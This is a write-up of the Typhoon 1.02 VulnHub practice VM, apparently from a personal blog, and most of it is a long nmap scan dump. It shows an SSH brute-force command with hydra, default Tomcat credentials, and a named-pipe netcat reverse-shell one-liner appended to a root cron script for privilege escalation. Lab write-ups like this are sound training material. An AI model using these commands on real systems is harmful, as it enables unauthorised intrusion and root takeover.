This post documents the complete walkthrough of Typhoon: 1.02, a boot2root VM created by PRISMA CSI, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

Background

Typhoon VM contains several vulnerabilities and configuration errors. Typhoon can be used to test vulnerabilities in network services, configuration errors, vulnerable web applications, password cracking attacks, privilege escalation attacks, post exploitation steps, information gathering and DNS attacks.

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.30.129
...
PORT      STATE SERVICE     REASON         VERSION
21/tcp    open  ftp         syn-ack ttl 64 vsftpd 3.0.2
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.30.128
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp    open  ssh         syn-ack ttl 64 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 02:df:b3:1b:01:dc:5e:fd:f9:96:d7:5b:b7:d6:7b:f9 (DSA)
|   2048 de:af:76:27:90:2a:8f:cf:0b:2f:22:f8:42:36:07:dd (RSA)
|   256 70:ae:36:6c:42:7d:ed:1b:c0:40:fc:2d:00:8d:87:11 (ECDSA)
|_  256 bb:ce:f2:98:64:f7:8f:ae:f0:dd:3c:23:3b:a6:0f:61 (ED25519)
25/tcp    open  smtp        syn-ack ttl 64 Postfix smtpd
|_smtp-commands: typhoon, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
|_ssl-date: TLS randomness does not represent time
53/tcp    open  domain      syn-ack ttl 64 ISC BIND 9.9.5-3 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.9.5-3-Ubuntu
80/tcp    open  http        syn-ack ttl 64 Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/mongoadmin/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Typhoon Vulnerable VM by PRISMA CSI
110/tcp   open  pop3        syn-ack ttl 64 Dovecot pop3d
|_pop3-capabilities: RESP-CODES CAPA UIDL TOP SASL STLS PIPELINING AUTH-RESP-CODE
|_ssl-date: TLS randomness does not represent time
111/tcp   open  rpcbind     syn-ack ttl 64 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  2,3,4       2049/tcp  nfs
|   100003  2,3,4       2049/udp  nfs
|   100005  1,2,3      57007/tcp  mountd
|   100005  1,2,3      57007/udp  mountd
|   100021  1,3,4      43734/udp  nlockmgr
|   100021  1,3,4      59562/tcp  nlockmgr
|   100024  1          41493/tcp  status
|   100024  1          53884/udp  status
|   100227  2,3         2049/tcp  nfs_acl
|_  100227  2,3         2049/udp  nfs_acl
139/tcp   open  netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp   open  imap        syn-ack ttl 64 Dovecot imapd (Ubuntu)
|_imap-capabilities: Pre-login SASL-IR more LITERAL+ OK post-login ENABLE listed LOGINDISABLEDA0001 ID have STARTTLS capabilities IMAP4rev1 IDLE LOGIN-REFERRALS
|_ssl-date: TLS randomness does not represent time
445/tcp   open  netbios-ssn syn-ack ttl 64 Samba smbd 4.1.6-Ubuntu (workgroup: WORKGROUP)
631/tcp   open  ipp         syn-ack ttl 64 CUPS 1.7
| http-methods:
|   Supported Methods: GET HEAD OPTIONS POST PUT
|_  Potentially risky methods: PUT
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: CUPS/1.7 IPP/2.1
|_http-title: Home - CUPS 1.7.2
993/tcp   open  ssl/imaps?  syn-ack ttl 64
|_ssl-date: TLS randomness does not represent time
995/tcp   open  ssl/pop3s?  syn-ack ttl 64
|_ssl-date: TLS randomness does not represent time
2049/tcp  open  nfs_acl     syn-ack ttl 64 2-3 (RPC #100227)
3306/tcp  open  mysql       syn-ack ttl 64 MySQL (unauthorized)
5432/tcp  open  postgresql  syn-ack ttl 64 PostgreSQL DB 9.3.3 - 9.3.5
|_ssl-date: TLS randomness does not represent time
6379/tcp  open  redis       syn-ack ttl 64 Redis key-value store 4.0.11
8080/tcp  open  http        syn-ack ttl 64 Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
|   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_  Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat
27017/tcp open  mongodb     syn-ack ttl 64 MongoDB 3.0.15 3.0.15
| mongodb-databases:
|   ok = 1.0
|   totalSize = 167772160.0
|   databases
|     1
|       sizeOnDisk = 83886080.0
|       empty = false
|       name = local
|     0
|       sizeOnDisk = 83886080.0
|       empty = false
|_      name = credentials
| mongodb-info:
|   MongoDB Build info
|     version = 3.0.15
|     bits = 64
|     gitVersion = b8ff507269c382bc100fc52f75f48d54cd42ec3b
|     compilerFlags = -Wnon-virtual-dtor -Woverloaded-virtual -std=c++11 -fno-omit-frame-pointer -fPIC -fno-strict-aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -pipe -Werror -O3 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-but-set-variable -Wno-missing-braces -fno-builtin-memcmp -std=c99
|     maxBsonObjectSize = 16777216
|     allocator = tcmalloc
|     OpenSSLVersion = OpenSSL 1.0.1f 6 Jan 2014
|     javascriptEngine = V8
|     debug = false
|     ok = 1.0
|     sysInfo = Linux ip-10-71-195-23 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 BOOST_LIB_VERSION=1_49
|     loaderFlags =
|     versionArray
|       3 = 0
|       0 = 3
|       1 = 0
|       2 = 15
|   Server status
|     version = 3.0.15
|     writeBacksQueued = false
|     uptimeEstimate = 143.0
|     extra_info
|       heap_usage_bytes = 63067208
|       note = fields vary by platform
|       page_faults = 8
|     uptimeMillis = 164018
|     ok = 1.0
|     metrics
|       document
|         updated = 0
|         returned = 0
|         deleted = 0
|         inserted = 0
|       cursor
|         timedOut = 0
|         open
|           noTimeout = 0
|           pinned = 0
|           total = 0
|       record
|         moves = 0
|       ttl
|         deletedDocuments = 0
|         passes = 2
|       getLastError
|         wtimeouts = 0
|         wtime
|           num = 0
|           totalMillis = 0
|       repl
|         buffer
|           maxSizeBytes = 268435456
|           count = 0
|           sizeBytes = 0
|         apply
|           batches
|             num = 0
|             totalMillis = 0
|           ops = 0
|         preload
|           indexes
|             num = 0
|             totalMillis = 0
|           docs
|             num = 0
|             totalMillis = 0
|         network
|           ops = 0
|           getmores
|             num = 0
|             totalMillis = 0
|           bytes = 0
|           readersCreated = 0
|       commands
|         replSetUpdatePosition
|           total = 0
|           failed = 0
|         reIndex
|           total = 0
|           failed = 0
|         _recvChunkStart
|           total = 0
|           failed = 0
|         grantRolesToUser
|           total = 0
|           failed = 0
|         logRotate
|           total = 0
|           failed = 0
|         top
|           total = 0
|           failed = 0
|         mapReduce
|           total = 0
|           failed = 0
|         convertToCapped
|           total = 0
|           failed = 0
|         replSetInitiate
|           total = 0
|           failed = 0
|         listIndexes
|           total = 0
|           failed = 0
|         create
|           total = 0
|           failed = 0
|         planCacheClear
|           total = 0
|           failed = 0
|         applyOps
|           total = 0
|           failed = 0
|         collMod
|           total = 0
|           failed = 0
|         cloneCollection
|           total = 0
|           failed = 0
|         repairDatabase
|           total = 0
|           failed = 0
|         copydbgetnonce
|           total = 0
|           failed = 0
|         drop
|           total = 0
|           failed = 0
|         profile
|           total = 0
|           failed = 0
|         copydb
|           total = 0
|           failed = 0
|         touch
|           total = 0
|           failed = 0
|         <UNKNOWN> = 0
|         revokeRolesFromUser
|           total = 0
|           failed = 0
|         replSetStepDown
|           total = 0
|           failed = 0
|         eval
|           total = 0
|           failed = 0
|         grantRolesToRole
|           total = 0
|           failed = 0
|         _transferMods
|           total = 0
|           failed = 0
|         planCacheListQueryShapes
|           total = 0
|           failed = 0
|         replSetFresh
|           total = 0
|           failed = 0
|         hostInfo
|           total = 0
|           failed = 0
|         availableQueryOptions
|           total = 0
|           failed = 0
|         cleanupOrphaned
|           total = 0
|           failed = 0
|         getCmdLineOpts
|           total = 0
|           failed = 0
|         copydbsaslstart
|           total = 0
|           failed = 0
|         _recvChunkStatus
|           total = 0
|           failed = 0
|         compact
|           total = 0
|           failed = 0
|         driverOIDTest
|           total = 0
|           failed = 0
|         ping
|           total = 0
|           failed = 0
|         getShardMap
|           total = 0
|           failed = 0
|         replSetGetConfig
|           total = 0
|           failed = 0
|         dropAllRolesFromDatabase
|           total = 0
|           failed = 0
|         dropRole
|           total = 0
|           failed = 0
|         dropUser
|           total = 0
|           failed = 0
|         invalidateUserCache
|           total = 0
|           failed = 0
|         getPrevError
|           total = 0
|           failed = 0
|         replSetReconfig
|           total = 0
|           failed = 0
|         connectionStatus
|           total = 0
|           failed = 0
|         renameCollection
|           total = 0
|           failed = 0
|         getnonce
|           total = 0
|           failed = 0
|         shutdown
|           total = 0
|           failed = 0
|         updateUser
|           total = 0
|           failed = 0
|         shardingState
|           total = 0
|           failed = 0
|         appendOplogNote
|           total = 0
|           failed = 0
|         replSetMaintenance
|           total = 0
|           failed = 0
|         findAndModify
|           total = 0
|           failed = 0
|         dbStats
|           total = 0
|           failed = 0
|         distinct
|           total = 0
|           failed = 0
|         grantPrivilegesToRole
|           total = 0
|           failed = 0
|         authenticate
|           total = 0
|           failed = 0
|         listCollections
|           total = 0
|           failed = 0
|         replSetSyncFrom
|           total = 0
|           failed = 0
|         rolesInfo
|           total = 0
|           failed = 0
|         features
|           total = 0
|           failed = 0
|         count
|           total = 0
|           failed = 0
|         insert
|           total = 0
|           failed = 0
|         replSetElect
|           total = 0
|           failed = 0
|         _isSelf
|           total = 0
|           failed = 0
|         serverStatus
|           total = 2
|           failed = 0
|         geoSearch
|           total = 0
|           failed = 0
|         find
|           total = 0
|           failed = 0
|         explain
|           total = 0
|           failed = 0
|         collStats
|           total = 0
|           failed = 0
|         resync
|           total = 0
|           failed = 0
|         moveChunk
|           total = 0
|           failed = 0
|         aggregate
|           total = 0
|           failed = 0
|         parallelCollectionScan
|           total = 0
|           failed = 0
|         setShardVersion
|           total = 0
|           failed = 0
|         group
|           total = 0
|           failed = 0
|         delete
|           total = 0
|           failed = 0
|         _getUserCacheGeneration
|           total = 0
|           failed = 0
|         createUser
|           total = 0
|           failed = 0
|         writebacklisten
|           total = 0
|           failed = 0
|         dropDatabase
|           total = 0
|           failed = 0
|         planCacheClearFilters
|           total = 0
|           failed = 0
|         whatsmyuri
|           total = 0
|           failed = 0
|         diagLogging
|           total = 0
|           failed = 0
|         validate
|           total = 0
|           failed = 0
|         isMaster
|           total = 0
|           failed = 0
|         usersInfo
|           total = 0
|           failed = 0
|         updateRole
|           total = 0
|           failed = 0
|         cloneCollectionAsCapped
|           total = 0
|           failed = 0
|         update
|           total = 0
|           failed = 0
|         listCommands
|           total = 0
|           failed = 0
|         unsetSharding
|           total = 0
|           failed = 0
|         splitVector
|           total = 0
|           failed = 0
|         splitChunk
|           total = 0
|           failed = 0
|         geoNear
|           total = 0
|           failed = 0
|         buildInfo
|           total = 0
|           failed = 0
|         _mergeAuthzCollections
|           total = 0
|           failed = 0
|         shardConnPoolStats
|           total = 0
|           failed = 0
|         connPoolSync
|           total = 0
|           failed = 0
|         getShardVersion
|           total = 0
|           failed = 0
|         saslStart
|           total = 0
|           failed = 0
|         _recvChunkAbort
|           total = 0
|           failed = 0
|         saslContinue
|           total = 0
|           failed = 0
|         _recvChunkCommit
|           total = 0
|           failed = 0
|         revokeRolesFromRole
|           total = 0
|           failed = 0
|         dbHash
|           total = 0
|           failed = 0
|         revokePrivilegesFromRole
|           total = 0
|           failed = 0
|         medianKey
|           total = 0
|           failed = 0
|         resetError
|           total = 0
|           failed = 0
|         filemd5
|           total = 0
|           failed = 0
|         getLastError
|           total = 0
|           failed = 0
|         replSetGetStatus
|           total = 0
|           failed = 0
|         cursorInfo
|           total = 0
|           failed = 0
|         forceerror
|           total = 0
|           failed = 0
|         mergeChunks
|           total = 0
|           failed = 0
|         handshake
|           total = 0
|           failed = 0
|         setParameter
|           total = 0
|           failed = 0
|         planCacheListPlans
|           total = 0
|           failed = 0
|         listDatabases
|           total = 1
|           failed = 0
|         _migrateClone
|           total = 0
|           failed = 0
|         logout
|           total = 0
|           failed = 0
|         getLog
|           total = 0
|           failed = 0
|         replSetFreeze
|           total = 0
|           failed = 0
|         clone
|           total = 0
|           failed = 0
|         repairCursor
|           total = 0
|           failed = 0
|         planCacheSetFilter
|           total = 0
|           failed = 0
|         replSetGetRBID
|           total = 0
|           failed = 0
|         authSchemaUpgrade
|           total = 0
|           failed = 0
|         dataSize
|           total = 0
|           failed = 0
|         planCacheListFilters
|           total = 0
|           failed = 0
|         dropAllUsersFromDatabase
|           total = 0
|           failed = 0
|         dropIndexes
|           total = 0
|           failed = 0
|         fsync
|           total = 0
|           failed = 0
|         mapreduce
|           shardedfinish
|             total = 0
|             failed = 0
|         replSetHeartbeat
|           total = 0
|           failed = 0
|         getParameter
|           total = 0
|           failed = 0
|         createRole
|           total = 0
|           failed = 0
|         checkShardingIndex
|           total = 0
|           failed = 0
|         createIndexes
|           total = 0
|           failed = 0
|         connPoolStats
|           total = 0
|           failed = 0
|         currentOpCtx
|           total = 0
|           failed = 0
|       operation
|         idhack = 0
|         fastmod = 0
|         scanAndOrder = 0
|         writeConflicts = 0
|       storage
|         freelist
|           search
|             requests = 0
|             bucketExhausted = 0
|             scanned = 0
|       queryExecutor
|         scannedObjects = 0
|         scanned = 0
|     asserts
|       rollovers = 0
|       user = 0
|       regular = 0
|       warning = 0
|       msg = 0
|     localTime = 1543301820423
|     mem
|       supported = true
|       bits = 64
|       mappedWithJournal = 320
|       mapped = 160
|       virtual = 514
|       resident = 69
|     storageEngine
|       name = mmapv1
|     uptime = 164.0
|     opcountersRepl
|       command = 0
|       delete = 0
|       getmore = 0
|       insert = 0
|       update = 0
|       query = 0
|     process = mongod
|     opcounters
|       command = 3
|       delete = 0
|       getmore = 0
|       insert = 0
|       update = 0
|       query = 1
|     network
|       numRequests = 2
|       bytesIn = 132
|       bytesOut = 10095
|     cursors
|       clientCursors_size = 0
|       pinned = 0
|       totalNoTimeout = 0
|       totalOpen = 0
|       timedOut = 0
|       note = deprecated, use server status metrics
|     globalLock
|       currentQueue
|         total = 0
|         writers = 0
|         readers = 0
|       totalTime = 164016000
|       activeClients
|         total = 9
|         writers = 0
|         readers = 0
|     pid = 1259
|     host = typhoon.local
|     backgroundFlushing
|       flushes = 2
|       average_ms = 0.0
|       last_ms = 0
|       last_finished = 1543301776914
|       total_ms = 0
|     locks
|       Global
|         acquireCount
|           w = 9
|           W = 5
|           r = 612
|       MMAPV1Journal
|         acquireCount
|           w = 22
|           R = 1521
|           r = 297
|       Database
|         acquireCount
|           W = 9
|           R = 2
|           r = 297
|       Collection
|         acquireCount
|           R = 305
|     dur
|       journaledMB = 0.0
|       commits = 30
|       earlyCommits = 0
|       timeMs
|         dt = 3093
|         remapPrivateView = 0
|         writeToDataFiles = 0
|         writeToJournal = 0
|         commits = 0
|         commitsInWriteLock = 0
|         prepLogBuffer = 0
|       compression = 0.0
|       writeToDataFilesMB = 0.0
|       commitsInWriteLock = 0
|     connections
|       totalCreated = 3
|       available = 51199
|_      current = 1
34796/tcp open  mountd      syn-ack ttl 64 1-3 (RPC #100005)
41493/tcp open  status      syn-ack ttl 64 1 (RPC #100024)
46291/tcp open  mountd      syn-ack ttl 64 1-3 (RPC #100005)
57007/tcp open  mountd      syn-ack ttl 64 1-3 (RPC #100005)
59562/tcp open  nlockmgr    syn-ack ttl 64 1-4 (RPC #100021)

Whoa. They are not lying when they say Typhoon is a vulnerable VM. Will you look at the MongoDB enumeration??!!

Low-privilege Shell

As the saying “all roads lead to Rome” goes, there are a couple of ways to get a low-privilege shell. I’ll take the path of least resistance.

From the nmap scan above, you can see that there’s one disallowed entry in robots.txt/mongoadmin.

1bd00a91.png

Moving on to that directory, you’ll see a web interface for administering the exposed Mongo instance at 27017/tcp.

It’s a no-brainer actually. A few clicks later, you’ll see the credentials of a SSH account.

ba812f0e.png

With that, we can proceed to get our low-privilege shell.

07e84b8e.png

Boom. I’m in.

If you prefer the longer route, you can also try out the following steps:

  • Brute-force SSH with hydra + rockyou:
    1. hydra -l admin -P /usr/share/wordlists/rockyou.txt -t4 ssh://192.168.30.129
    2. The password is metallica :metal:
  • Tomcat’s manager webapp at 8080/tcp:
    1. Location is /manager/html
    2. Username: tomcat, Password: tomcat
    3. Deploy a malicious webapp described here
  • Struts2 Showcase:
    1. There’s a remote code execution vulnerability with Struts2 Showcase as per CVE-2017-9791
    2. The vulnerability is with the Struts1 integration at /integration/editGangster
    3. I wrote about how to exploit it here

Privilege Escalation

Once you have obtained a low-privilege shell, the next step is to escalate privilege to root. Again, I’ll take the path of least resistance.

During your enumeration, you’ll notice a strange-looking script at /tab/script.sh.

bb69e867.png

If I had to guess, I would say the script is ran as a cron job by root. That’s our ticket to a root shell. We can probably use nc to send a reverse shell back to us. However, the nc on the machine doesn’t have -e option.

No problem. We can still do something like this.

On one hand, open a nc listener at your attacking machine. On the other hand, append the following command to /tab/script.sh:

echo 'rm -rf /tmp/p; mknod /tmp/p p; /bin/bash 0</tmp/p | nc 192.168.30.128 1234 >/tmp/p' >> /tab/script.sh

You’ll see the root shell in a bit at the nc listener like so.

f7cd10a3.png

Again, there are other ways to get root:

  • admin can sudo as root with sudo -s
  • Linux Kernel 3.13.0 < 3.19 - ‘overlayfs’ Local Privilege Escalation as per EDB-ID 37292

Root Flag

The last step is to get the root flag as proof that you have rooted the machine.

a557c5a6.png

:dancer:

Afterthought

I’m sure this is not exhaustive. Kudos to PRISMA CSI for creating this VM. No better way to learn than hands-on practice.